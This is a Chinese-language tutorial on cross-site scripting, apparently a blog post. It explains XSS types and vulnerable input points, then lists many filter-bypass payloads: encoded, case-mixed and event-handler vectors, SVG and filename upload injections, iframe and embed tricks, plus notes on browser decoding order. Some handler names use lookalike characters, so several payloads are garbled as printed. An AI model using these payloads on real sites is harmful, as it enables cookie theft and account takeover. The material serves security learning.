目录
一、XSS定义
xss的形成原理
xss 中文名是“跨站脚本攻击”,英文名“Cross Site Scripting”。
Cross-site scripting的英文首字母缩写本应为CSS,但因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading Style Sheets),所以将Cross(意为“交叉”)改以交叉形的X做为缩写。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的脚本代码(HTML、JavaScript),当其它用户访问含有恶意代码的页面,恶意脚本就会被浏览器解析执行,从而达到攻击的目的。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
根本原因
1. 没有对输入进行约束,没有对输出进行编码
2. 没有严格区分“数据”和“代码”
二、XSS的危害
1、用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
2、攻击者能够在一定限度内记录用户的键盘输入。
3、攻击者通过CSRF等方式以用户身份执行危险操作。
4、XSS蠕虫。
5、获取用户浏览器信息。
6、利用XSS漏洞扫描用户内网。
三、XSS分类
(1)存储型XSS
存储型xss,恶意代码存入了数据库,再取出来,导致的xss
它是将攻击代码提交到了服务器端的数据库或文件系统中,不用构造URL,而是保存在文章或论坛帖子中,从而使得访问该页面的用户都有可能受到攻击,也被称作“持久性xss”。持久性xss比反射型xss危害要大的多。
(2)反射型XSS
反射型xss,一般来说,大部分数据它不会入库,只是把get的数据直接返回到了前端。
反射XSS一般出现在URL参数中及网站搜索栏中,构造好了恶意的链接后,把这个恶意的链接想尽各种办法让用户去点击,或者通过各种手段来加载这个恶意链接,所以也被称为“非持久性xss”。
最直观的就是构造URL欺骗用户点击,URL中构造的参数值,没有进行任何过滤和转义处理就立即显示在页面上,另外一种情况就是在检索框中注入XSS脚本。
DOM-based XSS
一句话概括:DOM-based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。
DOM(Document Object Model),文档对象模型
DOM是以面向对象方式描述的文档模型,这是表示和处理一个HTML或XML文档的常用方法
它定义了表示和修改文档所需的对象、这些对象的行为和属性以及这些对象之间的关系
DOM,可以把它认为是页面上数据和结构的一个树形表示
Dom-based XSS攻击是基于JS脚本程序在操作document对象以及URL地址使用不当而导致的。
一段获取浏览器参数并使用它去更新Web页面的JS代码就很容易被利用。
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
四、可能会出现漏洞的地方
搜索栏
用户登录入口
留言板
评论
博客日志
错误页面
无参数的位置,也可构造xss攻击
查找所有包含用户输入的入口。
跟踪流入应用程序的每一个数据。
确定数据是否与输出有关系。
如果与输出有关,它是不是原始数据,是不是经过处理的?
五、攻击方式
<
%3C,URL编码 %253C
< html十进制(分号是可以去掉的,数字前面是可以加多个0的)
<html十六进制
\74,js八进制
\x3c,js十六进制
\u003c,jsunicode
PA==,base64编码
所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
常用
<svg οnlοad=alert('111')>
<img src=1 οnerrοr=alert(`222`)>
<marquee οnmοuseοver=alert(/333/)>aaa</marquee>
<a href=javascript:alert(/555/)>M</a>
<body οnlοad=alert(/666/)>
大小写绕过
<sCrIpT>alert(1)</ScRiPt>
<ImG src=1 OnErRoR=alert(1)>
各种弹框形式(弹框、链接注入、框架注入)
<script>alert(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>confirm(2)</script>
<script>prompt(3)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script> ,javascript:[1].find(alert)
<script>top["al"+"ert"](1)</script>
<script>top[/al/.source+/ert/.source](111)</script>
<script>top.open`javas\cript:al\ert(999)`</script>,打开新的页面
<video src=1 οnlοadstart=print(1)>打开打印机
<script>\u0061\u006C\u0065\u0072\u0074(555)</script> ---Unicode编码,alert
<script>alert(String.fromCharCode(51,51,51))</script> ---alert(333)
<body οnlοad=prompt(2);>
<body οnpageshοw=alert(1)>
<style/οnlοad=alert(3)>
<select autofocus οnfοcus=alert(1)>
<video><source οnerrοr="javascript:alert(1)">
<a>标签
<a href="javascript:alert(1)">Clickme</a>
<a href="javascript:alert`1`">11<a>
<a href=//www.baidu.com>;
<a href="http://www.baidu.com">xss</a>
<a οnmοuseοver=alert(333)>222
<a οnclick=alert(333)>333
不使用引号
<a href=javascript:1,alert(111)>aaa</a>
<a href=javascript:alert(222)>aaa</a>
不使用双引号 使用单引号
<a href='javascript:alert(3)'>Clickme</a>
使用/
<img/src=x οnerrοr=prompt(33 );>
空格回车tab
<a href="java script:alert(2)">Clickme</a>---tab键
使用关键字拆分技巧
未封闭的标签
<svg οnlοad=alert(33)//
<svg οnlοad="alert(333)"
对标签属性值转码
<a href="javascript:alert(3)">Clickme</a>
还可以吧、等字符插到javascript的头部,另外tab	 换行符的
 回车符
可以插到代码任意地方
<a href="javascript:alert(4)">Clickme</a>(注意分号的使用)
不允许使用括号
<script/x>alert`1`</script>---过滤器查找<script>时使用某些变体,但不检查其他非必要属性
<script/x>setTimeout`alert\x2811\x29`</script> js 8进制
<script/x>setInterval`alert\x2822\x29`</script>
<svg οnlοad=alert(1)> HTML 10进制
<img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">
<body/οnlοad=javascript:window.οnerrοr=eval;throw'=alert\x281\x29';>
文件上传注入---文件名
当上传的文件名反应在目标页面的某处时使用
"><svg οnlοad=alert(1)>.gif
文件上传注入---svg文件,img图片,html/js文件等
用于在上传文件时在目标上创建存储的xss,将以下内容保存为 xss.svg
<svg οnlοad="alert(1)"/>
xss.gif
<img src=xx:x οnerrοr=alert(1)//">
在线滚动通用xss向量
<p style=overflow:auto;font-size:999px οnscrοll=alert(1)>aaa</p>
<img>标签
<img src=x οnerrοr=prompt(1);>
<iframe>标签
恶意URL通过各种编码处理后会增加其迷惑性
<iframe/src="data:text/html;base64,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
解码后:<body οnlοad=alert(1)>
<iframe src="javascript:alert('xss');"></iframe>
<iframe src=javascript:alert(111)>
<iframe/οnlοad=alert(1)>
<IFRAME SRC=javascript:alert(String.fromCharCode(72,69,76,76,79))>
---alert(String.fromCharCode(72,69,76,76,79),W3school解码为 alert(HELLO)
<iframe src=javascript:alert('XSS')>
---unicode编码,解码后为,javascript:alert('XSS')
form标签
<form action="Javascript:alert(1)"><input type=submit>
<form οnsubmit=alert(333)><button>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit>
<form><input formaction=javascript:alert(1) type=image>
svg标签
<svg/οnlοad=prompt(1);>
<input>标签
<input autofocus οnfοcus=alert(333)>
Hidden属性的input标签中XSS的触发方法
http://victim/?returnurl=” accesskey=”X” οnclick=”alert(document.domain)
例如火狐浏览器,alt+shift+X触发该漏洞
<input type="hidden" accesskey="X" οnclick="alert(1)">
<INPUT SRC=”javascript:alert(‘XSS’);”>
<embed>标签,你可以嵌入包含xss的flash
<embed src=”http://3w.org/XSS/xss.swf” ></embed>
<embed src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></embed>
html实体化绕过
攻击的页面,有srcdoc属性,即可绕过html实体
<iframe srcdoc="<script>alert(1);</script>"></iframe>
HTML5 新增的实体命名编码
: => [冒号]

 => [换行]
<a href="javasc
ript:alert(1)">click</a>
六、字符编码和浏览器解析原理
(第六部分参考,浅谈XSS—字符编码和浏览器解析原理_Q1n6-CSDN博客)
浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。
<a href="javascript:alert(3)">aaa</a>
针对上述a标签,分析一下浏览器的解析顺序
首先HTML解析器开始工作,并对href中的字符做HTML解码,接下来URL解析器对href值进行解码,正常情况下URL值为一个正常的URL链接,如:“https://www.xxx.com“,那么URL解析器工作完成后是不需要其他解码的,但是该环境中URL资源类型为JavaScript,因此该环境中最后一步JavaScript解析器还会进行解码操作,最后解析的脚本被执行。
整个解析顺序为3个环节:HTML解码,URL解码,JS解码
test1
URL编码"javascript:alert(1)"="%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29"
放到HTML里发现脚本并没有正常执行,URL解析器不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,被编码的“javascript”没有解码
test2
HTML字符实体编码 "javascript" 、URL 编码 "alert(2)"
HTML编码"javascript"="javascript"
URL编码"alert(2)"="%61%6C%65%72%74%28%32%29"
可正常执行
test3
对<a href="javascript:alert(3)">test3</a>做JS编码、URL编码、HTML编码共3层
JS编码:<a href="javascript:\u0061\u006c\u0065\u0072\u0074(3)">test3</a>
URL编码:<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">test3</a>
HTML编码:<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">test3</a>
可正常执行
Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为“alert”,而“alert”是一个有效的标识符名称,它是能被正常解析的。
像圆括号、双引号、单引号等等这些控制字符,在进行JavaScript解析的时候仅会被解码为字符串文本,例如:<script>alert('YISRC\u0027)</script>对控制字符单引号进行js编码,解析时\u0027被解码成文本单引号,无法闭合因此不能成功执行。
对应的解析器在相应层解析后可执行,控制字符除外